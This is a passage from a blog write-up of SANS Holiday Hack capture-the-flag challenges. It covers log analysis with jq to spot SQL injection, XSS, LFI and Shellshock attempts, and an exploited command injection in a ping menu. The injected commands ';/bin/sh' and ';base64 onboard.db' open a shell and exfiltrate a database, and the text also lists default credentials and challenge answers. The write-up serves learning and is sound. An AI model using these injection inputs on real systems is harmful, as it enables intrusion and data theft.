All the weather stations are reporting severe weather to Santa's Sleigh. I think someone might be forging intentionally false weather data!

I'm so flummoxed I can't even remember how to login!

Hmm... Maybe the Zeek http.log could help us.

I worry about LFI, XSS, and SQLi in the Zeek log - oh my!

And I'd be shocked if there weren't some shell stuff in there too.

I'll bet if you pick through, you can find some naughty data from naughty hosts and block it in the firewall.

If you find a log entry that definitely looks bad, try pivoting off other unusual attributes in that entry to find more bad IPs.

The sleigh's machine learning device (SRF) needs most of the malicious IPs blocked in order to calculate a good route.

Try not to block many legitimate weather station IPs as that could also cause route calculation failure.

Remember, when looking at JSON data, jq is the tool for you!

Alright, let's download this log file and take a look inside.

So, this file contains one big JSON object, and we must find traces of SQL injections, XSS, local file inclusion, and shell shock exploits. When we have identified at least 100 bad IPs, we can block them in the Sleigh Route Finder so that Santa can calculate the correct route for his present delivery.

But first, how can we log into the Sleigh Route Finder website? We don't have any credentials and Wunorse don't remember them. If we take a look at the quick start guide we decrypted earlier, we find an interesting piece of information:

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

I first spent some time trying to find this git repository. I performed DNS bruteforce against the elfu.org domain, but didn't find anything interesting. I also try to use gobuster against the https://srf.elfu.org website, but also to no avail. I then tried several Google Dorks to try and find this mysterious git repository, but the only thing I found was this weird letter of Wintry Magic, that I could make no sense of.

I then thought that maybe we could try to find login information in the Zeek log file. Indeed, the different events have a username and a password attribute. Maybe the login information we're looking for is there? Let's build a jq filter to find these information:

$ jq '.[] | select(.username != "-") | {username, password}' http.log
{
  "username": "q1ki9",
  "password": "-"
}
{
  "username": "servlet",
  "password": "-"
}
{
  "username": "support",
  "password": "-"
}
{
  "username": "admin",
  "password": "-"
}
{
  "username": "Admin",
  "password": "-"
}
{
  "username": "-r nessus",
  "password": "-"
}
{
  "username": "admin",
  "password": "-"
}
{
  "username": "admin",
  "password": "-"
}
{
  "username": "q1ki9",
  "password": "-"
}
{
  "username": "6666",
  "password": "-"
}
{
  "username": "6666",
  "password": "-"
}
{
  "username": "6666",
  "password": "-"
}
{
  "username": "' or '1=1",
  "password": "-"
}
{
  "username": "' or '1=1",
  "password": "-"
}
{
  "username": "' or '1=1",
  "password": "-"
}
{
  "username": "' or '1=1",
  "password": "-"
}
{
  "username": "root",
  "password": "-"
}
{
  "username": "comcomcom",
  "password": "-"
}
{
  "username": "(empty)",
  "password": "-"
}
{
  "username": "(empty)",
  "password": "-"
}
{
  "username": "(empty)",
  "password": "-"
}
{
  "username": "admin",
  "password": "-"
}
{
  "username": "(empty)",
  "password": "-"
}

Well, we can see the SQL injection attempts, but no useful credentials. Then, I looked back at what was said in the quick start guide: the credentials are in a readme file. So, let's look for readme files in the Zeek logs:

$ jq '.[] | select(.uri | test("readme"; "i")) | {host, uri, status_code}' http.log
{
  "host": "srf.elfu.org",
  "uri": "/README.md",
  "status_code": 200
}
{
  "host": "srf.elfu.org",
  "uri": "/README/",
  "status_code": 404
}
{
  "host": "srf.elfu.org",
  "uri": "/cgi-bin/README.TXT",
  "status_code": 404
}

There's only one entry with an HTTP status code of 200. Let's try to download the file https://srf.elfu.org/README.md:

# Sled-O-Matic - Sleigh Route Finder Web API

### Installation

```
sudo apt install python3-pip
sudo python3 -m pip install -r requirements.txt
```

#### Running:

`python3 ./srfweb.py`

#### Logging in:

You can login using the default admin pass:

`admin 924158F9522B3744F5FCD4D10FAC4356`

However, it's recommended to change this in the sqlite db to something custom

Hurray, we have our credentials! Now we just have to find the malicious IP addresses to block.

By taking a look at the logs, we can search for the following terms for the different attacks:

For SQLi : SELECT and or
For XSS : <script>
For LFI : /etc, ../, and ./.
For Shell-shock : ()

We'll look for these values in the uri, user_agent, username, and host attributes:

$ jq '.[] | select((.uri,.user_agent,.username,.host | test("SELECT|<script>|\\(\\)|\\.\\./|\\./\\.|/etc|or ")))' http.log > attacks.json

We can see our regexp that we had to escape the () and the ..

Alright, how many different IP addresses is that?

$ grep id.orig_h attacks.json | sort -u | wc -l
62

Hmm, pretty far from the 100 necessary IP addresses. Wunorse Openslae advises us to look at the attributes of known bad events. Maybe we can try to identify other bad IP addresses by using the known bad user agents: it's possible that a known bad agent is using several IP addresses. We can try to identify them by their user agents.

First, let's create a list of known bad user agents. We'll remove user agents that were used to perform attacks such as SQL injections or Shell-shock.

$ grep user_agent attacks.json | cut -d: -f 2 | cut -d'"' -f 2 | sort -u | grep -vE 'SELECT|\(\)|google' > bad_user_agents.txt

Now, let's query our events matching our bad user agents:

$ while read user_agent; do jq '.[] | select(.user_agent == "'"$user_agent"'")' http.log; done < bad_user_agents.txt > malicious_events_by_user_agents.json

Now, let's extract our unique IP addresses:

$ cat attacks.json malicious_events_by_user_agents.json| jq -s '.[] | ."id.orig_h"' | sort -u | tr -d '"'
0.216.249.31
10.122.158.57
10.155.246.29
102.143.16.184
103.235.93.133
104.179.109.113
106.132.195.153
106.93.213.219
111.81.145.191
116.116.98.205
118.196.230.170
118.26.57.38
121.144.25.34
[...]

We can now paste our list of IPs to the SRF web site:

$ cat attacks.json malicious_events_by_user_agents_bad_regexp.json| jq -s '.[] | ."id.orig_h"' | sort -u | tr -d '"' | paste -s -d,
0.216.249.31,10.122.158.57,10.155.246.29,102.143.16.184,103.235.93.133,104.179.109.113,106.132.195.153,106.93.213.219,111.81.145.191,116.116.98.205,118.196.230.170,118.26.57.38,121.144.25.34,121.7.186.163,123.127.233.97,126.102.12.53,129.121.121.48,131.186.145.73,13.39.153.254,135.203.243.43,135.32.99.116,136.59.204.152,140.60.154.239[...]

We submit it, aaaand:

We get a correct route ID!

Now, during the write-up, I tried submitting the exact same IP list, and it didn't work, soooo whaddup SANS?

Anyway, we can now access the Bell Tower:

Santa says

You did it! Thank you! You uncovered the sinister plot to destroy the holiday season!

Through your diligent efforts, we’ve brought the Tooth Fairy to justice and saved the holidays!

Ho Ho Ho!

The more I laugh, the more I fill with glee.

And the more the glee,

The more I'm a merrier me!

Merry Christmas and Happy Holidays.

Krampus says

Congratulations on a job well done!

Oh, by the way, I won the Frido Sleigh contest.

I got 31.8% of the prizes, though I'll have to figure that out.

The Tooth Fairy says

You foiled my dastardly plan! I’m ruined!

And I would have gotten away with it too, if it weren't for you meddling kids!

And, what is that we can see in the corner... Why, it's the letter of wintry magic we found during our reconnaissance of the elfu.org domain! Here's what it says:

Thankfully, I didn’t have to implement my plan by myself! Jack Frost

promised to use his wintry magic to help me subvert Santa’s horrible reign

of holiday merriment NOW and FOREVER!

Oh my, sounds like things aren't over yet...

Conclusion

Well, that's it for this year's challenge! It was a ton of fun, with some unexpected tasks, like cutting a key, and such. This year's challenge was clearly designed to show the blue-team side of the equation, which is kind of neat since it's not frequently shown in online challenges.

Thanks a lot for the SANS team for a Supercalifragilisticexpialidocious Christmas challenge, and see you next year!

Answer to the questions

Someone sent a threatening letter to Elf University. What is the first word in ALL CAPS in the subject line of the letter? Please find the letter in the Quad.

The word is DEMAND.

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack.

The account compromised during the password spray attack is supatree.

Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process.

The attacker used the ntdsutil program to extract hashes.

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs?

The IP address of the infected computer is 192.168.134.130.

Access https://splunk.elfu.org/ as elf with password elfsocks. What was the message for Kent that the adversary embedded in this attack? The SOC folks at that link will help you along!

The message left for Kent was Kent you are so unfair. And we were going to make you the king of the Winter Carnival..

Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name.

The turtle doves were taken by Krampus Hollyfeld.

Help Krampus beat the Frido Sleigh contest.

Well, I did, and got the code 8Ia8LiZEwvyZr2WO.

Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system?

Santa's seligh guidance system is called Super Sled-o-matic.

The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

The middle line is Machine Learning Sleigh Route Finder.

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

The name of this year's villain is written, The Tooth Fairy.

Use the data supplied in the Zeek JSON logs to identify the IP addresses of attackers poisoning Santa's flight mapping software. Block the 100 offending sources of information to guide Santa's sleigh through the attack. Submit the Route ID ("RID") success value that you're given.

The Route ID is 0807198508261964.

SANS Christmas Challenge 2018

2019-01-14T00:00:00+01:00

🎵 I'm dreaming of a pwned Christmaaaaas 🎵 As usual, here's my write-up for the 2018 SANS Christmas Challenge.

Table of contents

Introduction
Orientation Challenge
- Bushy Evergreen's Cranberry Pi Challenge
- KringleCon Holiday Hack History questions
Directory Browsing
- Minty Candycane's Cranberry Pi Challenge
- Analyzing the KringleCon CFP website
de Bruijn Sequences
- Tangle Coalbox's Cranberry Pi Challenge
- KringleCon Speaker Unpreparedness room
  - Yannick's (dirty) solution
  - The "official" solution
Data Repo Analysis
- Wunorse Openslae's Cranberry Pi Challenge
- North Pole Git Repository
AD Privilege Discovery
- Holly Evergreen's Cranberry Pi Challenge
- SANS Slingshot Linux image
Badge Manipulation
- Pepper Minstix' Cranberry Pi Challenge
- Bypassing the door authentication mechanism
  - The "haXXor" way
    - All the dead ends, yay!
    - The right solution
  - The "John McClane" way
HR Incident Response
- Sparkle Redberry's Cranberry Pi Challenge
- Elf InfoSec Careers Website
Network Traffic Forensics
- SugarPlum Mary's Cranberry Pi Challenge
- Packet Capture and Analysis Website
Ransomware Recovery
Who Is Behind It All?
Answers to the questions
Conclusion
Appendix: Chocolate Chip Cookie Recipe

Introduction

This year, we're invited by Santa to KringleCon! It's a security conference, with several talks by renowned security professionals. Santa organized this conference because of the security breaches that occured during these past Christmases. He also decided to up the physical security, as we can see toy soldiers patrolling. They seem to obey to some guy named Hans, who is also here. Let's hope that things don't go awry this year!

Santa says

Welcome, my friends! Welcome to my castle! Would you come forward please?

Welcome. It’s nice to have you here! I’m so glad you could come. This is going to be such an exciting day!

I hope you enjoy it. I think you will.

Today is the start of KringleCon, our new conference for cyber security practitioners and hackers around the world.

KringleCon is designed to share tips and tricks to help leverage our skills to make the world a better, safer place.

Remember to look around, enjoy some talks by world-class speakers, and mingle with our other guests.

And, if you are interested in the background of this con, please check out Ed Skoudis’ talk called START HERE.

Delighted to meet you. Overjoyed! Enraptured! Entranced! Are we ready? Yes! In we go!

Here are the questions we must answer:

What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions?
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness?
The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker?
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file?
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)?
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel?
Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"?
Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball?
Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. To start, assist Alabaster by accessing (clicking) the snort terminal below. Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?
After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?
Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?
After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?
Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?
Who was the mastermind behind the whole KringleCon plan?

As was done last year, we'll try not to rely on the hints given by the elves, because it's more fun to try to find solutions in your own way. This is what allows you to come up with creative solutions. So I'll post the solutions to the Cranberry Pi challenges, but we won't use the hints that are given after solving.

Disclaimer: I did use the hints for question 12, but not before I wasted soooo much time exploring soooo many dead-ends. Fun!

As usual, I'll try to detail my thought process as much as possible, including dead-ends and mistakes (that's the best way to learn).

Alright, let's get to it!

Orientation Challenge

Bushy Evergreen's Cranberry Pi Challenge

Bushy Evergreen seems to be having problem with exiting his text editor. Can you guess the editor?

                ........................................
             .;oooooooooooool;,,,,,,,,:loooooooooooooll:
           .:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
         .';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
       .''''''''''''''''''''''''''''''''''''''''';ooooo:
     ;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
  .:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
.cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
:llllllllllllll,'''''''';llllllllllllllc,

I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
Her editor's confusing, though "best" she says - she yells!
My lesson one and your role is exit back to shellz.

-Bushy Evergreen

Exit vi.

We appear to be in a vi-edited document, and we have to exit vi. Luckily for me, that's also my editor of choice. First, you have to make sure that you are in command mode, by pressing Escape. Then, you can simply exit vi by typing :q, followed by Enter.

What's more, if you press Ctrl + C while in vi, the following message is displayed: Type :quit<Enter> to exit Vim.

KringleCon Holiday Hack History questions

We are tasked with performing a little bit of OSINT in order to answer some questions, regarding the three last SANS Christmas Challenges. Fortunately, all the answers can be found in your favorite SANS Christmas Challenge write-ups! The correct answers are marked, and I give you a link to my past write-ups where the answers can be found. Alternatively, you can find the answers in Ed Skoudis' introduction video to KringleCon.

In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?
1. [✓] Firmware (answer here)
2. [ ] Clothing
3. [ ] Wireless adapter
4. [ ] Flux capacitor
In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?
1. [ ] Elgnirk
2. [✓] ATNAS (answer here)
3. [ ] GIYH
4. [ ] Savvy, Inc.
In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?
1. [ ] Tom-tom drums
2. [ ] DNA on a mug of milk
3. [ ] Cookie crumbs
4. [✓] Business card (answer here)
In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?
1. [ ] Snozberry Pi
2. [ ] Blueberry Pi
3. [✓] Cranberry Pi (answer here)
4. [ ] Elderberry Pi
In 2017, the North Pole was being bombarded by giant objects. What were they?
1. [ ] TCP packets
2. [✓] Snowballs (answer here)
3. [ ] Misfit toys
4. [ ] Candy canes
In 2017, Sam the snowman needed help reassembling pages torn from what?
1. [ ] The Bash man page
2. [ ] Scrooge's payroll ledger
3. [ ] System swap space
4. [✓] The Great Book (answer here)

Answering correctly these questions gives us the hidden phrase, Happy Trails.

Directory Browsing

Minty Candycane's Cranberry Pi Challenge

A new employee, Mr Chan, is arriving. However, in order to make his name tag, we find his first name.

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.
Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"
-Bushy Evergreen
To solve this challenge, determine the new worker's first name and submit to runtoanswer.
====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================
 Press  1 to start the onboard process.
 Press  2 to verify the system.
 Press  q to quit.
Please make a selection:

We get access to a simple interface. By pressing 1, we can enter a new employee's information:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: John
Enter your last name.
: McClane
Enter your street address (line 1 of 2).
: Test Street
Enter your street address (line 2 of 2).
:
Enter your city.
: New York
Enter your postal code.
: 1111
Enter your phone number.
:
Enter your email address.
:
Is this correct?
John McClane
Test Street
New York, 1111
y/n: y
Save to sqlite DB using command line
Press Enter to continue...:

Apparently, the result is saved in a SQLite database. We can try a SQL injection, and we'll see that special characters are, indeed, not sanitized:

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.
Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: John'
Enter your last name.
:
Enter your street address (line 1 of 2).
:
Enter your street address (line 2 of 2).
:
Enter your city.
:
Enter your postal code.
:
Enter your phone number.
:
Enter your email address.
:
Is this correct?
John'

,
y/n: y
Save to sqlite DB using command line
Error: unrecognized token: "'John'','', '', '', '', '', '', '')"
Press Enter to continue...:

So, there is indeed a SQL injection. However, it seems to be in an INSERT-kind of statement. While it's possible to perform SQL injection in these statements, it's kind of a pain, because most of the time, you can't get the result of your injection.

So, let's take a look at the other functionality of the menu:

Please make a selection: 2
Validating data store for employee onboard information.
Enter address of server: 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.070 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.075 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.051 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2039ms
rtt min/avg/max/mdev = 0.051/0.065/0.075/0.012 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:

So, the program seems to perform a ping on an IP address that we give, and then to analyze a file called onboard.db, which seems to be our SQLite database. Let's see if our IP address is correctly sanitized, or if we can try some basic command injection:

Validating data store for employee onboard information.
Enter address of server: 127.0.0.1; ls -lh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.064 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2001ms
rtt min/avg/max/mdev = 0.059/0.062/0.065/0.009 ms
total 5.4M
-rw-r--r-- 1 root root 3.8K Dec 14 16:13 menu.ps1
-rw-rw-rw- 1 root root  24K Dec 14 16:13 onboard.db
-rwxr-xr-x 1 root root 5.3M Dec 14 16:13 runtoanswer
onboard.db: SQLite 3.x database

It worked! We were able to execute arbitrary commands, and list the content of the current directory. The menu.ps1 file seems to be a PowerShell script which displays the menu of the Cranberry Pi. The runtoanswer file seems to be an executable that we have to run in order to give our answer, to wit the first name of Mr Chan. Let's take a look at menu.ps1. We can do this by using our arbitrary command execution to cat menu.ps1:

$global:firstrun = $TRUE
function Show-Menu
{
    $intro = @(
        "We just hired this new worker,",
        "Californian or New Yorker?",
        "Think he's making some new toy bag...",
        "My job is to make his name tag.",
        "",
        "Golly gee, I'm glad that you came,",
        "I recall naught but his last name!",
        "Use our system or your own plan,",
        "Find the first name of our guy `"Chan!`"",
        "",
        "-Bushy Evergreen",
        "",
        "To solve this challenge, determine the new worker's first name and submit to runtoansw
er."
    )
    $header = @(
        "===================================================================="
        "=                                                                  =",
        "= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =",
        "=                                                                  =",
        "===================================================================="
    )
    cls
    if ($global:firstrun -eq $TRUE) {
        Write-Host "`n`n"
        for ($i = 0; $i -lt $intro.length; $i++) {
    Write-Host "`n`nIs this correct?`n`n"
            Write-Host $intro[$i]
        }
        $global:firstrun = $FALSE
    }

    Write-Host "`n`n`n"
    for ($i = 0; $i -lt $header.length; $i++) {
        Write-Host $header[$i]
    }
    Write-Host "`n`n`n"
    Write-Host ' Press '1' to start the onboard process.'
    Write-Host ' Press '2' to verify the system.'
    Write-Host ' Press 'q' to quit.'
    Write-Host "`n"
}

function Employee-Onboarding-Form
{
    Write-Host "`n`nWelcome to Santa's Castle!`n`n"
    Write-Host "At Santa's Castle, our employees are our family. We care for each other,"
    Write-Host "and support everyone in our common goals.`n"
    Write-Host "Your first test at Santa's Castle is to complete the new employee onboarding paperwork."
    Write-Host "Don't worry, it's an easy test! Just complete the required onboarding information below.`n`n"

    $efirst = Read-Host "Enter your first name.`n"
    $elast = Read-Host "Enter your last name.`n"
    $estreet1 = Read-Host "Enter your street address (line 1 of 2).`n"
    $estreet2 = Read-Host "Enter your street address (line 2 of 2).`n"
    $ecity = Read-Host "Enter your city.`n"
    $epostalcode = Read-Host "Enter your postal code.`n"
    $ephone = Read-Host "Enter your phone number.`n"
    $eemail = Read-Host "Enter your email address.`n"

    Write-Host "`n`nIs this correct?`n`n"
    Write-Host "$efirst $elast"
    Write-Host "$estreet1"
    if ($estreet2) {
        Write-Host "$estreet2"
    }
    Write-Host "$ecity, $epostalcode"
    Write-Host "$ephone"
    Write-Host "$eemail"

    $input = Read-Host 'y/n'
    if ($input -eq 'y' -Or $input -eq 'Y') {
        Write-Host "Save to sqlite DB using command line"
        Start-Process -FilePath "./sqlite3" -ArgumentList "onboard.db `"INSERT INTO onboard (fname, lname, street1, street2, city, postalcode, phone, email) VALUES (`'$efirst`',`'$elast`', `'$estreet1`', `'$estreet2`', `'$ecity`', `'$epostalcode`', `'$ephone`', `'$eemail`')`""
    }
}

try
{
    do
    {
        Show-Menu
        $input = Read-Host 'Please make a selection'
        switch ($input)
        {
            '1' {
                cls
                Employee-Onboarding-Form
            } '2' {
                cls
                Write-Host "Validating data store for employee onboard information."
                $server = Read-Host 'Enter address of server'
                /bin/bash -c "/bin/ping -c 3 $server"
                /bin/bash -c "/usr/bin/file onboard.db"
            } '9' {
                /usr/bin/pwsh
                return
            } 'q' {
                return
            } default {
                Write-Host "Invalid entry."
            }
        }
        pause
    }
    until ($input -eq 'q')
} finally {
}

It seems that our menu has an hidden function. If we input 9, we get access to a PowerShell console. Let's do so, and use our shell to analyze the onboard.db file:

Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.

https://aka.ms/pscore6-docs
Type 'help' to get help.

PS /home/elf> sqlite3 ./onboard.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE onboard (
    id INTEGER PRIMARY KEY,
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
);
sqlite> select * from onboard where lname = 'Chan';
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com

Hello, Scott Chan! We can now use runtoanswer to input our answer:

PS /home/elf> ./runtoanswer
Loading, please wait.....
Enter Mr. Chan's first name: Scott

    .;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:'
  'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO   Okdooooooooooooo;
 'oooooooooooooX  ooooO  xod       xoO  xooooo  Xoooook    0    Oooooooooooooo;
 :oooooooooooooX  ooooO  xod  0ooooooO  xooooo  Xoooox   ooooo   kooooooooooooo
 coooooooooooooX         xod      0ooO  xooooo  XooooO  koooook   ooooooooooooo
 coooooooooooooX  dddd0  xod  0ddddooO  xooooo  XooooO  OoooooO  kooooooooooooo
 coooooooooooooX  ooooO  xod  KxxxxdoO  Okkkxo  XkkkkdX   xxk    oooooooooooooo
 cooooooooooooo0  ooook  dod       kok      Oo      Xook      Kxooooooooooooooo
 cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
 cooooooooooooooooooooooooooooooooo MY NAME IS oooooooooooooooooooooooooooooooo
 cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo
 OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW
 OMMMMMMMMMMMMW:  .. ;MMMk'     .NMX:.  .  .lWO         d         xMMMMMMMMMMMW
 OMMMMMMMMMMMMo  OMMWXMMl  lNMMNxWK  ,XMMMO  .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMX.  .cOWMN  'MMMMMMM;  WMMMMMc  KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMMMKo,   KN  ,MMMMMMM,  WMMMMMc  KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMKNMMMO  oM,  dWMMWOWk  cWMMMO  ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 OMMMMMMMMMMMMc ...  cWMWl.  .. .NMk.  ..  .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
 xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK
 .oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
  .looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
    .,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;.

Congratulations!

Lucky we had this hidden functionality. But what if it wasn't there? Well, we can still use our command injection vulnerability to drop to a shell:

Validating data store for employee onboard information.
Enter address of server: ;/bin/sh
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
$ ls
menu.ps1  onboard.db  runtoanswer

And what if we can't run /bin/sh? Well, we can still recover the SQLite database file, and analyze it offline. To do so, we can base64 encode it, which is kind of my favorite trick:

Validating data store for employee onboard information.
Enter address of server: ;base64 onboard.db
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAAAQAAAAYAAAAAAAAAAAAAAAEAAAAEAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAC4FQg0AAAABDxUADxUAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[snip]

We then copy/paste the encoded file to our computer, decode it, and interrogate it:

$ base64 -d < onboard.db.b64 > onboard.db
$ file onboard.db
onboard.db: SQLite 3.x database, last written using SQLite version 3016002
$ sqlite3 onboard.db
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> select * from onboard where lname="Chan";
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com

Analyzing the KringleCon CFP website

We're asked to find who submitted the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness, and to take a look at KringleCon's CFP website to find out.

The web site is simple enough, and has a link marked "CFP". When we click on it, we're taken to the webpage https://cfp.kringlecastle.com/cfp/cfp.html, which tells us that the CFP is closed. However, we're not at the root of the cfp folder. Let's forcefully browse to https://cfp.kringlecastle.com/cfp/:

We find a CSV file called rejected-talks.csv. If we search the talk name in it, we'll find that submitter is one John McClane:

$ curl https://cfp.kringlecastle.com/cfp/rejected-talks.csv 2> /dev/null | grep -i 'Data Loss for Rainbow Teams: A Path in the Darkness'
qmt3,2,8040424,200,FALSE,FALSE,John,McClane,Director of Security,Data Loss for Rainbow Teams: A Path in the Darkness,1,11

de Bruijn Sequences

Tangle Coalbox's Cranberry Pi Challenge

Apparently, a girl elf has been given a love poem by a boy elf, and ER (Elf Ressources) has been involved, because a complaint has been made. We're asked to find the firstname of the elf who received the love poem.

Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.
Please do your best to determine what's real.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.
One more quick note that might help you complete,
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?
- Tangle Coalbox, ER Investigator
  Find the first name of the elf of whom a love poem
